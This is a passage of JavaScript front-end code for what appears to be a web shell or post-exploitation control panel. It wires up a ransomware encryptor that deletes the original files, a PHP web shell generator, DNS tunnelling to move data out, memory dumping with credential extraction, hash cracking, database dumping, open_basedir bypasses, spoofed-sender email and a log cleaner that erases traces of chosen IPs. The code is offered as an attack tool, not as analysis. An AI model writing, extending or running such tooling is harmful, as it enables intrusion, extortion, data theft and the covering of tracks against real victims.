				badge.style.display = count > 0 ? 'flex' : 'none';
			}
		},
		renderNotifications() {
			const container = document.getElementById('notifications-list');
			if (!container) return;
			if (this.notifications.length === 0) {
				container.innerHTML = '<p style="color:var(--text-med); text-align:center; padding:2rem;">No notifications</p>';
				return;
			}
			container.innerHTML = this.notifications.map(n => `
				<div class="notification-item ${n.type}">
					<div class="notification-content">
						<div class="notification-title">${n.title}</div>
						<div class="notification-message">${n.message}</div>
						<div class="notification-time">${n.time}</div>
					</div>
					<span class="notification-close" onclick="App.removeNotification(${n.id})">&times;</span>
				</div>
			`).join('');
		},
		
		// Real-time File Watcher
		watcherInterval: null,
		watcherSnapshotFile: null,
		async startFileWatcher() {
			const path = document.getElementById('watcher-path').value || this.cwd;
			const interval = parseInt(document.getElementById('watcher-interval').value) * 1000;
			if (!path) return this.toast('Path is required.', 'error');
			const res = await this.api('start_file_watcher', { path, interval });
			if (res && res.status === 'success') {
				this.watcherSnapshotFile = res.snapshot_file;
				document.getElementById('start-watcher-btn').style.display = 'none';
				document.getElementById('stop-watcher-btn').style.display = 'inline-block';
				document.getElementById('watcher-status').style.display = 'block';
				document.getElementById('watcher-status').innerHTML = `<span style="color:var(--accent-green);">●</span> Watching: ${path} (checking every ${interval/1000}s)`;
				this.watcherInterval = setInterval(() => this.checkFileChanges(path), interval);
				this.addNotification('File Watcher', `Started watching ${path}`, 'success');
			} else {
				this.toast(res?.message || 'Failed to start watcher.', 'error');
			}
		},
		stopFileWatcher() {
			if (this.watcherInterval) {
				clearInterval(this.watcherInterval);
				this.watcherInterval = null;
			}
			document.getElementById('start-watcher-btn').style.display = 'inline-block';
			document.getElementById('stop-watcher-btn').style.display = 'none';
			document.getElementById('watcher-status').style.display = 'none';
			this.addNotification('File Watcher', 'Stopped watching', 'info');
		},
		async checkFileChanges(path) {
			if (!this.watcherSnapshotFile) return;
			const res = await this.api('check_file_changes', { path, snapshot_file: this.watcherSnapshotFile });
			if (res && res.status === 'success') {
				const changes = res.changes;
				let output = document.getElementById('watcher-output').innerText;
				const now = new Date().toLocaleTimeString();
				if (Object.keys(changes.created).length > 0) {
					output += `\n[${now}] CREATED:\n${Object.keys(changes.created).join('\n')}\n`;
					this.addNotification('File Watcher', `${Object.keys(changes.created).length} file(s) created`, 'info');
				}
				if (Object.keys(changes.deleted).length > 0) {
					output += `\n[${now}] DELETED:\n${Object.keys(changes.deleted).join('\n')}\n`;
					this.addNotification('File Watcher', `${Object.keys(changes.deleted).length} file(s) deleted`, 'warning');
				}
				if (Object.keys(changes.modified).length > 0) {
					output += `\n[${now}] MODIFIED:\n${Object.keys(changes.modified).join('\n')}\n`;
					this.addNotification('File Watcher', `${Object.keys(changes.modified).length} file(s) modified`, 'info');
				}
				document.getElementById('watcher-output').innerText = output;
				document.getElementById('watcher-output').scrollTop = document.getElementById('watcher-output').scrollHeight;
			}
		},
		
		// Process Manager
		processRefreshInterval: null,
		async refreshProcesses() {
			const res = await this.api('get_processes');
			if (res && res.status === 'success') {
				const tbody = document.getElementById('processes-list');
				tbody.innerHTML = res.processes.map(p => `
					<tr>
						<td>${p.pid || p.PID || 'N/A'}</td>
						<td>${p.user || p.USER || 'N/A'}</td>
						<td>${p.cpu || p['%CPU'] || 'N/A'}</td>
						<td>${p.mem || p['%MEM'] || p.mem || 'N/A'}</td>
						<td style="max-width:300px; overflow:hidden; text-overflow:ellipsis;">${(p.command || p.COMMAND || p.NAME || 'N/A').substring(0, 50)}</td>
						<td><button onclick="App.killProcess(${p.pid || p.PID})" class="danger-btn" style="padding:4px 8px; font-size:12px;">Kill</button></td>
					</tr>
				`).join('');
			}
		},
		toggleAutoRefreshProcesses() {
			if (this.processRefreshInterval) {
				clearInterval(this.processRefreshInterval);
				this.processRefreshInterval = null;
				document.getElementById('auto-refresh-processes-btn').textContent = '⏱️ Auto Refresh (5s)';
			} else {
				this.processRefreshInterval = setInterval(() => this.refreshProcesses(), 5000);
				document.getElementById('auto-refresh-processes-btn').textContent = '⏸️ Stop Auto Refresh';
				this.refreshProcesses();
			}
		},
		async killProcess(pid) {
			const confirmed = await this.showConfirmModal(`Kill process <strong>${pid}</strong>?`, { type: 'danger', okText: 'Kill', cancelText: 'Cancel' }); if (!confirmed) return;
			const res = await this.api('kill_process', { pid });
			if (res && res.status === 'success') {
				this.toast(`Process ${pid} killed.`);
				this.addNotification('Process Manager', `Process ${pid} terminated`, 'warning');
				this.refreshProcesses();
			} else {
				this.toast('Failed to kill process.', 'error');
			}
		},
		
		// Packet Capture
		async startPacketCapture() {
			const interface = document.getElementById('capture-interface').value || 'any';
			const count = parseInt(document.getElementById('capture-count').value) || 50;
			const filter = document.getElementById('capture-filter').value;
			const outputEl = document.getElementById('capture-output');
			outputEl.innerText = 'Starting capture...';
			const res = await this.api('start_packet_capture', { interface, count, filter });
			if (res && res.status === 'success') {
				outputEl.innerText = res.output || 'Capture completed.';
				this.addNotification('Packet Capture', `Captured ${count} packets`, 'success');
			} else {
				outputEl.innerText = res?.message || 'Capture failed.';
				this.toast(res?.message || 'Capture failed.', 'error');
			}
		},
		
		// File Encryption/Decryption
		async encryptFile() {
			const filePath = document.getElementById('crypto-file-path').value;
			const password = document.getElementById('crypto-password').value;
			if (!filePath || !password) return this.toast('File path and password are required.', 'error');
			const res = await this.api('encrypt_file', { file_path: filePath, password });
			if (res && res.status === 'success') {
				document.getElementById('crypto-results').innerHTML = `<p style="color:var(--accent-green);">${res.message}<br>Output: ${res.output_file}</p>`;
				this.addNotification('Crypto Tools', 'File encrypted successfully', 'success');
			} else {
				document.getElementById('crypto-results').innerHTML = `<p style="color:var(--accent-red);">${res?.message || 'Encryption failed.'}</p>`;
			}
		},
		async decryptFile() {
			const filePath = document.getElementById('crypto-file-path').value;
			const password = document.getElementById('crypto-password').value;
			if (!filePath || !password) return this.toast('File path and password are required.', 'error');
			const res = await this.api('decrypt_file', { file_path: filePath, password });
			if (res && res.status === 'success') {
				document.getElementById('crypto-results').innerHTML = `<p style="color:var(--accent-green);">${res.message}<br>Output: ${res.output_file}</p>`;
				this.addNotification('Crypto Tools', 'File decrypted successfully', 'success');
			} else {
				document.getElementById('crypto-results').innerHTML = `<p style="color:var(--accent-red);">${res?.message || 'Decryption failed.'}</p>`;
			}
		},
		
		// DNS Tunneling
		async dnsTunnelSend() {
			const data = document.getElementById('dns-data').value;
			const domain = document.getElementById('dns-domain').value;
			if (!data || !domain) return this.toast('Data and domain are required.', 'error');
			const res = await this.api('dns_tunnel_send', { data, domain });
			if (res && res.status === 'success') {
				document.getElementById('dns-results').innerText = `Sent ${res.results.length} chunks via DNS.\n\n${res.results.map(r => `${r.subdomain}: ${r.resolved ? 'OK' : 'FAILED'}`).join('\n')}`;
				this.addNotification('DNS Tunneling', `Sent ${res.results.length} DNS chunks`, 'success');
			}
		},
		async dnsTunnelReceive() {
			const domain = document.getElementById('dns-domain').value;
			if (!domain) return this.toast('Domain is required.', 'error');
			const res = await this.api('dns_tunnel_receive', { domain });
			if (res && res.status === 'success') {
				document.getElementById('dns-results').innerText = `Received data:\n\n${res.data || 'No data received'}\n\nRaw: ${res.raw || 'N/A'}`;
				this.addNotification('DNS Tunneling', 'Data received via DNS', 'success');
			}
		},
		
		// Memory Dump Analyzer
		async dumpMemory() {
			const pid = parseInt(document.getElementById('memdump-pid').value);
			if (!pid) return this.toast('PID is required.', 'error');
			const outputEl = document.getElementById('memdump-output');
			outputEl.innerText = `Dumping memory for PID ${pid}...`;
			const res = await this.api('dump_process_memory', { pid });
			if (res && res.status === 'success') {
				outputEl.innerText = `${res.message}\n\n${res.output}\n\n${res.file ? `Dump file: ${res.file} (${res.size} bytes)` : ''}`;
				if (res.file) document.getElementById('memdump-file').value = res.file;
				this.addNotification('Memory Analyzer', `Memory dumped for PID ${pid}`, 'success');
			} else {
				outputEl.innerText = res?.message || 'Dump failed.';
			}
		},
		async analyzeMemory() {
			const filePath = document.getElementById('memdump-file').value;
			const pattern = document.getElementById('memdump-pattern').value;
			if (!filePath) return this.toast('Dump file path is required.', 'error');
			const outputEl = document.getElementById('memdump-output');
			outputEl.innerText = 'Analyzing memory dump...';
			const res = await this.api('analyze_memory_dump', { file_path: filePath, pattern });
			if (res && res.status === 'success') {
				const r = res.results;
				outputEl.innerText = `Size: ${r.size} bytes\n\nStrings found (first 100):\n${r.strings.slice(0, 20).join('\n')}\n\n${r.credentials.length > 0 ? `Credentials found:\n${r.credentials.join('\n')}` : 'No credentials found.'}`;
				this.addNotification('Memory Analyzer', 'Memory dump analyzed', 'success');
			} else {
				outputEl.innerText = res?.message || 'Analysis failed.';
			}
		},
		
		// Exploit Suggester
		async suggestExploits() {
			const container = document.getElementById('exploit-suggestions');
			container.innerHTML = '<p>Analyzing system...</p>';
			const res = await this.api('suggest_exploits');
			if (res && res.status === 'success') {
				let html = `<p><strong>OS Info:</strong> ${res.os_info}</p><hr>`;
				res.suggestions.forEach(s => {
					html += `<div style="margin-bottom:1rem; padding:10px; background:var(--bg-light); border-radius:6px;">
						<strong>${s.type}</strong><br>
						${s.description}<br>
						<small>Search: ${s.search}</small>
					</div>`;
				});
				container.innerHTML = html;
				this.addNotification('Exploit Suggester', `Found ${res.suggestions.length} potential exploits`, 'info');
			}
		},
		
		// Password Cracker
		async crackHash() {
			const hash = document.getElementById('hash-input').value;
			const hashType = document.getElementById('hash-type').value;
			if (!hash) return this.toast('Hash is required.', 'error');
			const container = document.getElementById('crack-results');
			container.innerHTML = '<p>Cracking hash...</p>';
			const res = await this.api('crack_hash', { hash, hash_type: hashType });
			if (res && res.status === 'success') {
				if (res.results.cracked) {
					container.innerHTML = `<p style="color:var(--accent-green);"><strong>CRACKED!</strong><br>Hash Type: ${res.hash_type}<br>Password: <strong>${res.results.password}</strong></p>`;
					this.addNotification('Password Cracker', 'Hash cracked successfully!', 'success');
				} else {
					container.innerHTML = `<p>Hash Type: ${res.hash_type}<br>${res.results.message}</p>`;
				}
			}
		},
		async generateWordlist() {
			const baseWords = document.getElementById('wordlist-base').value;
			if (!baseWords) return this.toast('Base words are required.', 'error');
			const container = document.getElementById('wordlist-results');
			container.innerHTML = '<p>Generating wordlist...</p>';
			const res = await this.api('generate_wordlist', { base_words: baseWords });
			if (res && res.status === 'success') {
				container.innerHTML = `<p style="color:var(--accent-green);">Generated ${res.count} words.<br>File: ${res.wordlist_file}</p>`;
				this.addNotification('Password Cracker', `Generated ${res.count} wordlist entries`, 'success');
			}
		},
		
		// Code Obfuscator
		async obfuscateCode() {
			const code = document.getElementById('obfuscate-code').value;
			const method = document.getElementById('obfuscate-method').value;
			if (!code) return this.toast('Code is required.', 'error');
			const outputEl = document.getElementById('obfuscate-output');
			outputEl.innerText = 'Obfuscating...';
			const res = await this.api('obfuscate_code', { code, method });
			if (res && res.status === 'success') {
				outputEl.innerText = res.obfuscated;
				this.addNotification('Code Obfuscator', `Code obfuscated (${res.original_size} → ${res.obfuscated_size} bytes)`, 'success');
			} else {
				outputEl.innerText = res?.message || 'Obfuscation failed.';
			}
		},
		
		// Ransom Creator
		ransomSelectedFiles: new Set(),
		async ransomBrowseFiles() {
			const path = document.getElementById('ransom-browse-path').value || this.cwd;
			if (!path) return this.toast('Path is required.', 'error');
			const res = await this.api('browse', { path });
			if (res && res.status === 'success') {
				const container = document.getElementById('ransom-file-selector');
				if (!container) return;
				let html = '<div style="display:grid; grid-template-columns: 30px 1fr auto; gap:10px; align-items:center; margin-bottom:10px; padding:8px; background:var(--bg-med); border-radius:4px;"><strong>Select</strong><strong>File</strong><strong>Size</strong></div>';
				res.files.forEach(f => {
					if (f.is_dir) return; // Skip directories
					const isSelected = this.ransomSelectedFiles.has(f.path);
					html += `<div style="display:grid; grid-template-columns: 30px 1fr auto; gap:10px; align-items:center; padding:8px; background:var(--bg-med); border-radius:4px; cursor:pointer;" onclick="App.ransomToggleFile('${f.path.replace(/'/g, "\\'")}')">
						<input type="checkbox" ${isSelected ? 'checked' : ''} onchange="App.ransomToggleFile('${f.path.replace(/'/g, "\\'")}')" style="cursor:pointer;">
						<span style="color:var(--text-light);">${f.name}</span>
						<span style="color:var(--text-med); font-size:0.9rem;">${f.size}</span>
					</div>`;
				});
				container.innerHTML = html;
				this.ransomUpdateCount();
			} else {
				this.toast('Failed to browse files.', 'error');
			}
		},
		ransomToggleFile(filePath) {
			if (this.ransomSelectedFiles.has(filePath)) {
				this.ransomSelectedFiles.delete(filePath);
			} else {
				this.ransomSelectedFiles.add(filePath);
			}
			this.ransomUpdateCount();
			// Update checkbox
			const container = document.getElementById('ransom-file-selector');
			if (container) {
				const checkboxes = container.querySelectorAll('input[type="checkbox"]');
				checkboxes.forEach(cb => {
					const fileDiv = cb.closest('div');
					if (fileDiv && fileDiv.textContent.includes(filePath.split('/').pop())) {
						cb.checked = this.ransomSelectedFiles.has(filePath);
					}
				});
			}
		},
		ransomUpdateCount() {
			const count = this.ransomSelectedFiles.size;
			const countEl = document.getElementById('ransom-selected-count');
			const countNum = document.getElementById('ransom-count');
			if (countEl && countNum) {
				countNum.textContent = count;
				countEl.style.display = count > 0 ? 'block' : 'none';
			}
		},
		ransomGeneratePassword() {
			const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*';
			let password = '';
			for (let i = 0; i < 32; i++) {
				password += chars.charAt(Math.floor(Math.random() * chars.length));
			}
			const passwordEl = document.getElementById('ransom-password');
			if (passwordEl) {
				passwordEl.value = password;
				passwordEl.type = 'text';
				setTimeout(() => { if (passwordEl) passwordEl.type = 'password'; }, 2000);
			}
			this.toast('Password generated!', 'success');
		},
		showIrreversibleModal(message) {
			return new Promise((resolve) => {
				const modal = document.getElementById('irreversible-modal');
				const messageEl = document.getElementById('irreversible-message');
				const confirmBtn = document.getElementById('irreversible-confirm-btn');
				const cancelBtn = document.getElementById('irreversible-cancel-btn');
				const closeBtn = document.getElementById('irreversible-modal-close');
				
				if (!modal || !messageEl) return resolve(false);
				
				messageEl.textContent = message;
				modal.style.display = 'flex';
				
				const cleanup = () => {
					modal.style.display = 'none';
					confirmBtn.onclick = null;
					cancelBtn.onclick = null;
					closeBtn.onclick = null;
				};
				
				confirmBtn.onclick = () => {
					cleanup();
					resolve(true);
				};
				
				cancelBtn.onclick = () => {
					cleanup();
					resolve(false);
				};
				
				closeBtn.onclick = () => {
					cleanup();
					resolve(false);
				};
				
				// Close on backdrop click
				modal.onclick = (e) => {
					if (e.target === modal) {
						cleanup();
						resolve(false);
					}
				};
			});
		},
		
		async ransomEncryptFiles() {
			const files = Array.from(this.ransomSelectedFiles);
			const extensions = document.getElementById('ransom-extensions').value.split(',').map(e => e.trim().toLowerCase()).filter(e => e);
			const searchPaths = document.getElementById('ransom-search-paths').value.split(',').map(p => p.trim()).filter(p => p);
			const password = document.getElementById('ransom-password').value;
			
			if (files.length === 0 && extensions.length === 0) {
				return this.toast('Please select files or specify extensions.', 'error');
			}
			
			const fileCount = files.length > 0 ? files.length + ' selected file(s)' : 'files with specified extensions';
			const message = `This will encrypt ${fileCount} and DELETE the original files!\n\nThis action is IRREVERSIBLE without the password!\n\nAre you absolutely sure you want to proceed?`;
			
			const confirmed = await this.showIrreversibleModal(message);
			if (!confirmed) {
				return;
			}
			
			const resultsEl = document.getElementById('ransom-encrypt-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Encrypting files... This may take a while.</p>';
			
			const res = await this.api('ransom_encrypt_files', {
				files: JSON.stringify(files),
				extensions: JSON.stringify(extensions),
				search_paths: searchPaths.length > 0 ? searchPaths.join(',') : undefined,
				password: password || undefined
			});
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<h4 style="margin-top:0; color:var(--accent-green);">✅ Encryption Complete</h4>
					<p><strong>Encrypted:</strong> ${res.encrypted_count} file(s)</p>
					<p><strong>Failed:</strong> ${res.failed_count} file(s)</p>
					<p><strong>Total:</strong> ${res.total_files} file(s)</p>
					<p style="color:var(--accent-red); font-weight:bold; margin-top:10px;">🔑 PASSWORD: <code style="background:var(--bg-dark); padding:4px 8px; border-radius:4px;">${res.password}</code></p>
					<p style="color:var(--accent-red); font-size:0.9rem;">⚠️ SAVE THIS PASSWORD! Without it, files cannot be decrypted!</p>
				</div>`;
				
				if (res.results && res.results.length > 0) {
					html += '<details><summary style="cursor:pointer; color:var(--accent-blue); margin-bottom:10px;">View Details</summary><div style="max-height:300px; overflow-y:auto;">';
					res.results.forEach(r => {
						const color = r.status === 'encrypted' ? 'var(--accent-green)' : r.status === 'failed' ? 'var(--accent-red)' : 'var(--accent-gold)';
						html += `<div style="padding:8px; margin-bottom:5px; background:var(--bg-med); border-radius:4px; border-left:3px solid ${color};">
							<strong>${r.status.toUpperCase()}:</strong> ${r.file.split('/').pop()}<br>
							${r.reason ? `<small style="color:var(--text-med);">${r.reason}</small>` : ''}
						</div>`;
					});
					html += '</div></details>';
				}
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.addNotification('Ransomware Generator', `Encrypted ${res.encrypted_count} file(s)`, res.encrypted_count > 0 ? 'success' : 'warning');
				this.ransomSelectedFiles.clear();
				this.ransomUpdateCount();
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">${res?.message || 'Encryption failed.'}</p>`;
				this.toast(res?.message || 'Encryption failed.', 'error');
			}
		},
		async ransomDecryptFile() {
			const encryptedFile = document.getElementById('ransom-decrypt-file').value;
			const password = document.getElementById('ransom-decrypt-password').value;
			
			if (!encryptedFile || !password) {
				return this.toast('Encrypted file path and password are required.', 'error');
			}
			
			const confirmed = await this.showConfirmModal(`Decrypt <strong>${encryptedFile.split('/').pop()}</strong>?`, { type: 'question' }); if (!confirmed) {
				return;
			}
			
			const resultsEl = document.getElementById('ransom-decrypt-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Decrypting file...</p>';
			
			const res = await this.api('ransom_decrypt_file', {
				encrypted_file: encryptedFile,
				password: password
			});
			
			if (res && res.status === 'success') {
				if (resultsEl) {
					resultsEl.innerHTML = `<div style="padding:15px; background:var(--bg-light); border-radius:6px;">
						<h4 style="margin-top:0; color:var(--accent-green);">✅ Decryption Complete</h4>
						<p><strong>Original file restored:</strong> ${res.original_file}</p>
					</div>`;
				}
				this.addNotification('Ransomware Generator', 'File decrypted successfully', 'success');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">${res?.message || 'Decryption failed.'}</p>`;
				}
				this.toast(res?.message || 'Decryption failed.', 'error');
			}
		},
		
		// Web Shell Manager
		async generateWebShell() {
			const password = document.getElementById('shell-password')?.value || 'janus';
			
			const res = await this.api('generate_webshell', {
				type: 'php',
				password: password
			});
			
			if (res && res.status === 'success') {
				const codeEl = document.getElementById('generated-shell-code');
				if (codeEl) {
					codeEl.value = res.shell_code;
					this.toast('Lightweight shell generated successfully!', 'success');
					this.addNotification('Web Shell Manager', `Generated shell with identifier: ${res.identifier?.substring(0, 30)}...`, 'success');
				}
			} else {
				this.toast('Failed to generate shell.', 'error');
			}
		},
		
		copyShellCode() {
			const codeEl = document.getElementById('generated-shell-code');
			if (codeEl && codeEl.value) {
				codeEl.select();
				document.execCommand('copy');
				this.toast('Shell code copied to clipboard!', 'success');
			} else {
				this.toast('No shell code to copy. Generate a shell first.', 'error');
			}
		},
		
		async findWebShells() {
			const searchPath = document.getElementById('find-shells-path')?.value || this.cwd;
			
			if (!searchPath) {
				return this.toast('Search path is required.', 'error');
			}
			
			const resultsEl = document.getElementById('find-shells-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Searching for shells...</p>';
			
			const res = await this.api('list_webshells', {
				search_path: searchPath
			});
			
			if (res && res.status === 'success') {
				const shells = res.shells || [];
				if (resultsEl) {
					if (shells.length === 0) {
						resultsEl.innerHTML = '<p style="color:var(--text-med); text-align:center;">No shells found.</p>';
					} else {
						let html = `<div style="padding:10px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
							<strong>Found ${shells.length} shell(s) with JANUS identifier:</strong>
						</div>
						<div style="overflow-x:auto;">
							<table class="results-table">
								<thead>
									<tr>
										<th>Path</th>
										<th>Name</th>
										<th>Identifier</th>
										<th>Size</th>
										<th>Modified</th>
										<th>Permissions</th>
									</tr>
								</thead>
								<tbody>`;
						
						shells.forEach(shell => {
							html += `<tr>
								<td style="font-family:monospace; font-size:0.9rem;">${this.escapeHtml(shell.path)}</td>
								<td><strong>${this.escapeHtml(shell.name)}</strong></td>
								<td style="font-family:monospace; font-size:0.85rem; color:var(--accent-gold);">${this.escapeHtml(shell.identifier || 'N/A')}</td>
								<td>${this.formatBytes(shell.size)}</td>
								<td>${shell.modified}</td>
								<td style="font-family:monospace;">${shell.permissions}</td>
							</tr>`;
						});
						
						html += `</tbody></table></div>`;
						resultsEl.innerHTML = html;
					}
				}
				this.toast(`Found ${shells.length} shell(s)`, shells.length > 0 ? 'success' : 'info');
				this.addNotification('Web Shell Manager', `Found ${shells.length} shell(s)`, shells.length > 0 ? 'success' : 'info');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Search failed.'}</p>`;
				}
				this.toast(res?.message || 'Search failed.', 'error');
			}
		},
		
		escapeHtml(text) {
			const div = document.createElement('div');
			div.textContent = text;
			return div.innerHTML;
		},
		
		formatBytes(bytes) {
			if (bytes === 0) return '0 B';
			const k = 1024;
			const sizes = ['B', 'KB', 'MB', 'GB'];
			const i = Math.floor(Math.log(bytes) / Math.log(k));
			return Math.round(bytes / Math.pow(k, i) * 100) / 100 + ' ' + sizes[i];
		},
		
		// Column Dumper
		async columnDumper() {
			const host = document.getElementById('col-dump-host')?.value;
			const user = document.getElementById('col-dump-user')?.value;
			const pass = document.getElementById('col-dump-pass')?.value;
			const database = document.getElementById('col-dump-db')?.value;
			const table = document.getElementById('col-dump-table')?.value;
			const column = document.getElementById('col-dump-column')?.value;
			
			if (!host || !user || !database || !table || !column) {
				return this.toast('All fields are required.', 'error');
			}
			
			const resultsEl = document.getElementById('col-dump-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Dumping column...</p>';
			
			const res = await this.api('column_dumper', { host, user, pass, database, table, column });
			
			if (res && res.status === 'success') {
				const data = res.data || [];
				if (resultsEl) {
					let html = `<div style="padding:10px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
						<strong>Found ${data.length} row(s):</strong>
					</div>
					<pre class="output-box" style="max-height:400px; overflow-y:auto;">${this.escapeHtml(data.join('\n'))}</pre>`;
					resultsEl.innerHTML = html;
				}
				this.toast(`Dumped ${data.length} row(s)`, 'success');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Dump failed.'}</p>`;
				}
				this.toast(res?.message || 'Dump failed.', 'error');
			}
		},
		
		// Database Dumper
		async databaseDumper() {
			const host = document.getElementById('db-dump-host')?.value;
			const user = document.getElementById('db-dump-user')?.value;
			const pass = document.getElementById('db-dump-pass')?.value;
			const database = document.getElementById('db-dump-db')?.value;
			
			if (!host || !user || !database) {
				return this.toast('Host, user, and database are required.', 'error');
			}
			
			const resultsEl = document.getElementById('db-dump-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Dumping database...</p>';
			
			const res = await this.api('database_dumper', { host, user, pass, database });
			
			if (res && res.status === 'success') {
				if (resultsEl) {
					let html = `<div style="padding:10px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
						<strong>Dumped ${res.tables} table(s):</strong>
					</div>
					<pre class="output-box" style="max-height:500px; overflow-y:auto;">${this.escapeHtml(res.dump)}</pre>
					<button onclick="navigator.clipboard.writeText(this.previousElementSibling.textContent)" style="margin-top:0.5rem;">📋 Copy Dump</button>`;
					resultsEl.innerHTML = html;
				}
				this.toast(`Dumped ${res.tables} table(s)`, 'success');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Dump failed.'}</p>`;
				}
				this.toast(res?.message || 'Dump failed.', 'error');
			}
		},
		
		// Open BaseDir Bypass
		async openBasedirBypass() {
			const resultsEl = document.getElementById('basedir-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Generating bypass methods...</p>';
			
			const res = await this.api('open_basedir_bypass', {});
			
			if (res && res.status === 'success') {
				const methods = res.methods || [];
				if (resultsEl) {
					let html = '<div style="display:flex; flex-direction:column; gap:1rem;">';
					methods.forEach(method => {
						html += `<div style="padding:15px; background:var(--bg-light); border-radius:6px;">
							<h4 style="margin-top:0; color:var(--accent-blue);">${this.escapeHtml(method.method)}</h4>
							<pre class="output-box" style="max-height:200px; overflow-y:auto;">${this.escapeHtml(method.code)}</pre>
							<button onclick="navigator.clipboard.writeText(this.previousElementSibling.textContent)" style="margin-top:0.5rem;">📋 Copy Code</button>
						</div>`;
					});
					html += '</div>';
					resultsEl.innerHTML = html;
				}
				this.toast('Bypass methods generated!', 'success');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed.'}</p>`;
				}
				this.toast(res?.message || 'Failed.', 'error');
			}
		},
		
		// Fake Mail
		async fakeMail() {
			const to = document.getElementById('fake-mail-to')?.value;
			const from = document.getElementById('fake-mail-from')?.value;
			const subject = document.getElementById('fake-mail-subject')?.value;
			const message = document.getElementById('fake-mail-message')?.value;
			const headers = document.getElementById('fake-mail-headers')?.value;
			
			if (!to || !from || !subject || !message) {
				return this.toast('To, From, Subject, and Message are required.', 'error');
			}
			
			const confirmed = await this.showConfirmModal(`Send email to <strong>${to}</strong>?`, { type: 'question' }); if (!confirmed) {
				return;
			}
			
			const resultsEl = document.getElementById('fake-mail-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Sending email...</p>';
			
			const res = await this.api('fake_mail', { to, from, subject, message, headers });
			
			if (res && res.status === 'success') {
				if (resultsEl) {
					resultsEl.innerHTML = `<div style="padding:15px; background:var(--bg-light); border-radius:6px;">
						<h4 style="margin-top:0; color:var(--accent-green);">✅ Email Sent!</h4>
						<p>Email sent successfully to ${this.escapeHtml(to)}</p>
					</div>`;
				}
				this.toast('Email sent successfully!', 'success');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to send email.'}</p>`;
				}
				this.toast(res?.message || 'Failed to send email.', 'error');
			}
		},
		
		// WHMCS Decoder
		async whmcsDecoder() {
			const encoded = document.getElementById('whmcs-encoded')?.value;
			
			if (!encoded) {
				return this.toast('Encoded string is required.', 'error');
			}
			
			const resultsEl = document.getElementById('whmcs-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Decoding...</p>';
			
			const res = await this.api('whmcs_decoder', { encoded });
			
			if (res && res.status === 'success') {
				if (resultsEl) {
					let html = `<div style="padding:10px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
						<strong>Decoded:</strong>
					</div>
					<pre class="output-box" style="max-height:400px; overflow-y:auto;">${this.escapeHtml(res.decoded)}</pre>
					<button onclick="navigator.clipboard.writeText(this.previousElementSibling.textContent)" style="margin-top:0.5rem;">📋 Copy</button>`;
					resultsEl.innerHTML = html;
				}
				this.toast('Decoded successfully!', 'success');
			} else {
				if (resultsEl) {
					resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Decode failed.'}</p>`;
				}
				this.toast(res?.message || 'Decode failed.', 'error');
			}
		},
		
		// Advanced Log Cleaner
		async advancedLogCleaner() {
			const logPaths = document.getElementById('advanced-log-paths')?.value || '';
			const keywords = document.getElementById('advanced-log-keywords')?.value || '';
			const backup = document.getElementById('advanced-log-backup')?.checked || false;
			
			if (!keywords.trim()) {
				this.toast('Please enter keywords/IPs to remove.', 'error');
				return;
			}
			
			const resultsEl = document.getElementById('advanced-log-cleaner-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Cleaning logs...</p>';
			
			const res = await this.api('advanced_log_cleaner', { log_paths: logPaths, keywords: keywords, backup: backup });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ Cleaned ${res.total_cleaned} log file(s)</strong>
				</div>`;
				
				if (res.cleaned && res.cleaned.length > 0) {
					html += '<h4>Cleaned Files:</h4>';
					res.cleaned.forEach(item => {
						html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem;">
							<strong>${this.escapeHtml(item.path)}</strong><br>
							<span style="color:var(--text-med);">Removed: ${item.removed_lines} lines | Remaining: ${item.remaining_lines} lines</span>
						</div>`;
					});
				}
				
				if (res.errors && res.errors.length > 0) {
					html += '<h4 style="color:var(--accent-red); margin-top:1rem;">Errors:</h4>';
					res.errors.forEach(err => {
						html += `<p style="color:var(--accent-red);">${this.escapeHtml(err)}</p>`;
					});
				}
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Cleaned ${res.total_cleaned} log file(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to clean logs.'}</p>`;
				this.toast(res?.message || 'Failed to clean logs.', 'error');
			}
		},
		
		// Multi-Location Backup
		async multiLocationBackup() {
			const sourceFile = document.getElementById('multi-backup-source')?.value || '';
			const backupLocations = document.getElementById('multi-backup-locations')?.value || '';
			
			if (!sourceFile.trim()) {
				this.toast('Source file is required.', 'error');
				return;
			}
			
